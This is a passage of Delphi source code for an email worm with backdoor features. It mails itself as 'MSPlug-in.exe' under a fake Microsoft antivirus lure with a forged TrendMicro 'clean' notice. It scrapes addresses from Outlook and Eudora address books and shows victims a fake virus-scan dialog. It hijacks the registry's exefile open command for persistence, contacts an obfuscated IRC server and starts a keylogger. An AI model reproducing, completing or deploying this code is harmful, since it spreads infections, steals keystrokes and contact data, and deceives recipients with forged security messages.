inttostr(systemtime.wMonth)+inttostr(systemtime.wDay)+inttostr(systemtime.wYear)+inttostr(systemtime.wHour)+inttostr(systemtime.wMinute); //writeln('let''s rock'); sock.WriteString(MySocket2,pchar('HELO '+serv+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('MAIL FROM: '+user+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('RCPT TO: '+slav+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('DATA'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('From: '+user+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('To: '+slav+#13+#10)); sleep(timeout+10); //sock.WriteString(MySocket2,pchar('Subject: Fwd: Microsoft Anti Virus Plugin'+#13+#10)); sock.WriteString(MySocket2,pchar('Subject: Fwd: Microsoft Anti Virus Plugin'+#13+#10)); randomize; day:=systemtime.wDayOfWeek; case day of 0: zday:='Sun'; 1: zday:='Mon'; 2: zday:='Tue'; 3: zday:='Wed'; 4: zday:='Thu'; 5: zday:='Fri'; 6: zday:='Sat'; end; month:=systemtime.wMonth; case month of 1: zmonth:='Jan'; 2: zmonth:='Feb'; 3: zmonth:='Mar'; 4: zmonth:='Apr'; 5: zmonth:='May'; 6: zmonth:='Jun'; 7: zmonth:='Jul'; 8: zmonth:='Aug'; 9: zmonth:='Sep'; 10: zmonth:='Oct'; 11: zmonth:='Nov'; 12: zmonth:='Dec'; end; sleep(timeout+10); sock.WriteString(MySocket2,pchar('Date: '+zday+', '+inttostr(systemtime.wDay)+' '+zmonth+ ' '+inttostr(systemtime.wYear)+' '+inttostr(systemtime.wHour)+':'+inttostr(systemtime.wMinute)+':'+inttostr(systemtime.wSecond)+' +0000'+#13+#10)); //Date: Fri, 27 Dec 2002 16:46:11 +0000 sleep(timeout+10); sock.WriteString(MySocket2,pchar('Mime-Version: 1.0'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Type: ' + 'multipart/mixed' + '; boundary="' +FmimeBoundary+ '"'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(''+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('--'+FmimeBoundary+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Type: ' + 'text/plain' + '; charset="' +'iso-8859-1' + '"'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Transfer-Encoding: quoted-printable'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(''+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Microsoft Anti Virus Plugin Detected any Suspiciuos files.'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Test your computer today and foward this Email.'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Free service (for win95/98/Me/NT/2000/Xp).'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(''+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('___________________________________________________________'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('TrendMicro has scanned this mail for viruses, vandals'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('and suspicious attachments and has found it to be CLEAN.'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(' '+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('File: MSPlug-in.exe data (32,768 bytes)'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Encoding: Base64'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Result: Clean.'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(''+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('--'+FmimeBoundary+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Type: ' + 'application/octet-stream' + ';'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(#9+'name="' + 'MSPlug-in.exe' + '"'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Transfer-Encoding: base64'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Disposition: attachment;'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(#9+'filename="' + 'MSPlug-in.exe' + '"'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(''+#13+#10)); sleep(timeout+10); AssignFile(hFile,filename); FileMode := 0; Reset(hFile, 1); repeat BASE64(hfile, sLine, More); if sline<>'' then sock.WriteString(MySocket2,pchar(sline+#13+#10)); sleep(timeout); until sline=''; more:=true; closefile(hfile); sleep(timeout+10); sock.WriteString(MySocket2,pchar('--' + FMimeBoundary + '--'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('.'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('QUIT'+#13+#10)); sleep(timeout+10); closesocket(mysocket2); //writeln('All done.'); end; s:=''; end; until eof(ff); seek(ff,0); blockwrite(ff,'[KILL] ',sizeof('[KILL] ')); closefile(ff); //writeln('DEAD'); if TerminateThread(ThreadHdle3, ExitCode3) then begin closefile(ff); closesocket(mysocket2); WSACleanup; exit;end; WSACleanup; end; procedure TSpam.ScanMail2; var i,yyyy,yyy,yy,count,NumRead: integer; poss,poss2,poss3:longint; bufffT,Bufff,bufff2: Char; tof:textfile; a,b,c,d,e,f,g,thepoint:boolean; From:file; x,y,z:byte; pp1,pp2,p1,p2,ss2,s,s2,s3,s4,s5,s6:string; begin a:=false; b:=false; c:=false; d:=false; //special e:=false; f:=false; g:=false; thepoint:=false; count:=0; poss:=0; //if eudora+'NNDBASE.TXT'='' then begin writeln('No Eudora File found'); exit; end; if fileexists(eudora+'NNDBASE.TXT') then begin filemode:=0; Assignfile(From,eudora+'NNDBASE.TXT'); Reset(From, 1); yy:=filesize(from); end else begin //writeln('I can''t open the file...'); exit; end; repeat //processmessages; BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if bufff='@' then begin poss:=filepos(from); poss2:=poss; a:=true end; if a=true then begin poss:=poss-1; repeat poss:=poss-1; count:=count+1; if poss>0 then seek(From,poss) else begin c:=true; g:=true; end; //memo1.Lines.add(inttostr(poss)); BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else if bufff = '-' then {memo1.Lines.add(bufff)} else if bufff = '.' then {memo1.Lines.add(bufff)} else if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true; end else if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true; if count=26 then begin b:=true; g:=true;end; if b=true then if count<4 then begin c:=true; g:=true; end else c:=true; until c=true; // memo1.Lines.add('1:'+inttostr(poss)+' 2:'+inttostr(poss2)); poss3:=poss; b:=false; c:=false; count:=0; poss2:=poss2-1; repeat poss2:=poss2+1; count:=count+1; seek(From,poss2); BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else if bufff = '-' then {memo1.Lines.add(bufff)} else if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true end else if bufff = '.' then {memo1.Lines.add(bufff)} thepoint:=true else if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true; if thepoint<>true then g:=true; if count=60 then begin c:=true; g:=true;end; if b=true then if count<2 then begin c:=true; g:=true; end else c:=true; until c=true; c:=false; b:=false; a:=false; count:=0; s:=''; poss:=poss+1; e:=true; repeat //filtre seek(From,poss); BlockRead(From, Bufff, SizeOf(Bufff), NumRead); poss:=poss+1; if e=true then if (bufff='@') or (bufff='.') then begin g:=true; e:=false; end else e:=false; f:=true; seek(From,poss); BlockRead(From, Bufff2, SizeOf(Bufff2), NumRead); seek(From,poss-1); if bufff='@' then if bufff2='.' then g:=true; if bufff='.' then if bufff2='@' then g:=true; if bufff='.' then if bufff2='.' then g:=true; s:=s+bufff; until poss=poss2; if s='@' then g:=true; repeat p2:=s; delete(p2,1,length(p2)-3); pp1:=p2; pp2:=p2; delete(p2,2,length(p2)); if p2='.' then begin x:=9; delete(pp1,1,1); delete(pp1,3,3); if pp1[1] in ['0'..'9'] then x:=5; if pp1[1] = '_' then x:=5; if pp1[1] = '-' then x:=5; if pp1[1] = '.' then x:=5; delete(pp2,1,2); if pp2[1] in ['0'..'9'] then x:=5; if pp2[1] = '_' then x:=5; if pp2[1] = '-' then x:=5; if pp2[1] = '.' then x:=5; end else x:=5; p1:=s; delete(p1,1,length(p1)-4); if p1='.org' then y:=9 else if p1='.com' then y:=9 else if p1='.mil' then y:=9 else if p1='.gov' then y:=9 else if p1='.int' then y:=9 else if p1='.edu' then y:=9 else if p1='.net' then y:=9 else y:=5; if x=y then begin g:=true; x:=6; end; if x<>y then begin x:=6; end; s:=s; until x=6; if s=s2 then f:=false; //same if (length(s)<6) then f:=false; if f=true then writeln(ttt,'[SLAV]'+s); s2:=s; seek(From,poss2); f:=false; g:=false; end; e:=false; //processmessages; until numread=0; Closefile(From); d:=false; exit; processmessages; end; procedure TSpam.ScanMail; var i,yyyy,yyy,yy,count,NumRead: integer; poss,poss2,poss3:longint; bufffT,Bufff,bufff2: Char; tof:textfile; a,b,c,d,e,f,g,thepoint:boolean; From:file; x,y,z:byte; pp1,pp2,p1,p2,ss2,s,s2,s3,s4,s5,s6:string; begin a:=false; b:=false; c:=false; d:=false; //special e:=false; f:=false; g:=false; thepoint:=false; count:=0; poss:=0; if outlook='' then begin //writeln('No WAB File found'); exit; end; filemode:=0; if fileexists(outlook) then begin Assignfile(From,outlook); Reset(From, 1); yy:=filesize(from); end else begin //writeln('I can''t open the file...'); exit; end; seek(from,80000); repeat //processmessages; bufffT:=bufff; BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if (bufff=':') and (bufffT='U') then d:=true; if bufff='@' then begin poss:=filepos(from); poss2:=poss; a:=true end; if a=true then begin poss:=poss-1; repeat poss:=poss-1; count:=count+1; if poss>0 then seek(From,poss) else begin c:=true; g:=true; end; BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else if bufff = '-' then {memo1.Lines.add(bufff)} else if bufff = '.' then {memo1.Lines.add(bufff)} else if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true; end else if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true; if count=26 then begin b:=true; g:=true;end; if b=true then if count<4 then begin c:=true; g:=true; end else c:=true; until c=true; poss3:=poss; b:=false; c:=false; count:=0; poss2:=poss2-1; repeat poss2:=poss2+1; count:=count+1; seek(From,poss2); BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else if bufff = '-' then {memo1.Lines.add(bufff)} else if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true end else if bufff = '.' then {memo1.Lines.add(bufff)} thepoint:=true else if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true; if thepoint<>true then g:=true; if count=60 then begin c:=true; g:=true;end; if b=true then if count<2 then begin c:=true; g:=true; end else c:=true; until c=true; c:=false; b:=false; a:=false; count:=0; s:=''; poss:=poss+1; e:=true; repeat //filtre seek(From,poss); BlockRead(From, Bufff, SizeOf(Bufff), NumRead); poss:=poss+1; if e=true then if (bufff='@') or (bufff='.') then begin g:=true; e:=false; end else e:=false; f:=true; seek(From,poss); BlockRead(From, Bufff2, SizeOf(Bufff2), NumRead); seek(From,poss-1); if bufff='@' then if bufff2='.' then g:=true; if bufff='.' then if bufff2='@' then g:=true; if bufff='.' then if bufff2='.' then g:=true; s:=s+bufff; until poss=poss2; if s='@' then g:=true; repeat p2:=s; delete(p2,1,length(p2)-3); pp1:=p2; pp2:=p2; delete(p2,2,length(p2)); if p2='.' then begin x:=9; delete(pp1,1,1); delete(pp1,3,3); if pp1[1] in ['0'..'9'] then x:=5; if pp1[1] = '_' then x:=5; if pp1[1] = '-' then x:=5; if pp1[1] = '.' then x:=5; delete(pp2,1,2); if pp2[1] in ['0'..'9'] then x:=5; if pp2[1] = '_' then x:=5; if pp2[1] = '-' then x:=5; if pp2[1] = '.' then x:=5; end else x:=5; p1:=s; delete(p1,1,length(p1)-4); if p1='.org' then y:=9 else if p1='.com' then y:=9 else if p1='.mil' then y:=9 else if p1='.gov' then y:=9 else if p1='.int' then y:=9 else if p1='.edu' then y:=9 else if p1='.net' then y:=9 else y:=5; if x=y then begin g:=true; x:=6; end; if x<>y then begin x:=6; end; s:=s; until x=6; if (length(s)<6) then f:=false; if d=true then begin s:='[USER]'+s; d:=false; end else s:='[SLAV]'+s; if f=true then writeln(ttt,s); s2:=s; seek(From,poss2); f:=false; g:=false; end; e:=false; //processmessages; until numread=0; Closefile(From); exit; d:=false; processmessages; end; procedure TSpam.fileini; const log = 'ReturnAddress='; log2 = 'SMTPServer='; var tt:textfile; s,s2:string; begin if not fileexists(eudora+'EUDORA.INI') then begin {form1.memo1.lines.add('no files exist');} exit; end; assignfile(tt,eudora+'EUDORA.INI'); reset(tt); s2:='_'; repeat readln(tt,s); s2:=s; s:=copy(s2,1,length(log)); if s=log then begin s:=copy(s2,length(log)+1,length(s2)); writeln(ttt,'[USER]'+s); end; s:=copy(s2,1,length(log2)); if s=log2 then begin s:=copy(s2,length(log2)+1,length(s2)); if s='' then writeln(ttt,'[SERV]'+crypt('lcjh+eheyxixj>r}~')) else writeln(ttt,'[SERV]'+s); end; until eof(tt); closefile(tt); exit; end; //============Thread_procedure=== procedure ThreadProc3; stdcall; var Spam:TSpam; begin sleep(90000); //writeln('SPAM'); spam.start; end; procedure ThreadProc2; stdcall; begin sleep(160000); //writeln('CONNECT IRC'); hede.server; if TerminateThread(ThreadHdle2, ExitCode2) then begin closesocket(mysocket); WSACleanup; end; end; procedure ThreadProc; stdcall; var ck1,ck2,ck3:boolean; begin ck1:=false; ck2:=false; ck3:=false; //initsocket; repeat WSACleanup; WSAStartup($101,WSD); z:=lookup_hostname(crypt('vut*hodzfydjy l|')) // z:=lookup_hostname('--'); //write(z); //write(' '+ip2string(z)+' '); if z>0 then ck1:=true else ck1:=false; if (ck1=true) and (ck2=false) then begin ck2:=true; ck3:=true; WSACleanup; initsocket; // writeln('connect'); ThreadHdle2 := CreateThread( Nil,0,@ThreadProc2,Nil,0,ThreadID2); //connect sleep(1000); ThreadHdle3 := CreateThread( Nil,0,@ThreadProc3,Nil,0,ThreadID3); //scan protection end; if (ck1=false) and (ck3=true) then begin ck3:=false; ck2:=false; ShutDownServer; WSACleanup; // writeln('disconnect'); GetExitCodeThread(ThreadHdle2, ExitCode2); TerminateThread(ThreadHdle2, ExitCode2); GetExitCodeThread(ThreadHdle3, ExitCode3); TerminateThread(ThreadHdle3, ExitCode3); end; sleep(60000); until TerminateThread(ThreadHdle, ExitCode); //z=777; ShutDownServer; end; //=== This is the MAIN PART program ======= begin scanprotection; if paramstr(0)=systemdir+crypt(']IFVKCK;;$]TI') then //\KERNEL32.VXD begin if (length(paramstr(1))>0) and (length(paramstr(2))>0) then winexec(PChar(paramstr(1)+' '+paramstr(2)),SW_NORMAL); if (length(paramstr(1))>0) and (length(paramstr(2))=0) then winexec(PChar(paramstr(1)),SW_NORMAL); winexec(pchar(systemdir+crypt(']ifvkck&mfg')),SW_NORMAL); //\kernel.dll halt; end; if (paramstr(0)<>systemdir+crypt(']IFVKCK;;$]TI')) and (paramstr(0)<>systemdir+crypt(']IFVKCK&MFG')) then //\KERNEL32.VXD //\KERNEL.DLL begin if MessageBoxA(Handle, 'Microsoft Anti Virus Plugin Detected any Suspiciuos files.'+#13+#10+ 'Well it''s time to check if your system is ready.'+#13+#10+' '+#13#10+ 'Do you want start the Av Test ?', MB_YESNO)=IDYES then begin MessageBox(Handle,'Please wait...',MB_ICONINFORMATION); fileexists(systemdir+'\kernel32.dll'); sleep(1000); MessageBox(Handle,'Test successfull !'+#13#10+' '+#13#10+'Your system are Virus Free',MB_ICONINFORMATION); end; end; if FindWindow(lpzClassName,lpzWindowsName) <> 0 then Halt;//If start second time hInst:=GetModuleHandle(nil); with wClass do begin Style:= CS_PARENTDC; hIcon:= 0; cbClsExtra:= 0; cbWndExtra:= 0; lpfnWndProc:= @WindowProc; hInstance:= hInst; hbrBackground:= COLOR_WINDOW; lpszClassName:= lpzClassName; lpszMenuName:= NIL; hCursor:= 0; //LoadCursor(0,IDC_ARROW); end; RegisterClass(wClass); Handle:=CreateWindow(lpzClassName,lpzWindowsName,WS_BORDER + WS_SIZEBOX, 0,0,10,10,0,0{hPP},hInst,nil); if Handle<>0 then begin UpdateWindow(Handle); ShowWindow(Handle, SW_HIDE); //SW_HIDE RegisterInService; end; copyit; Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('exefile\shell\open\command',true); Registre.WriteString('',pchar(crypt('jgqj`j4:''|sh-,*!326>'))); //kernel32.vxd "%1" %* Registre.Free; Timeout:=70; ThreadHdle := CreateThread( Nil,0,@ThreadProc,Nil,0,ThreadID); //Online??? repeat sleep(59000); until z>0; if z>0 then klog.LogCreate; ProcessMessages; end.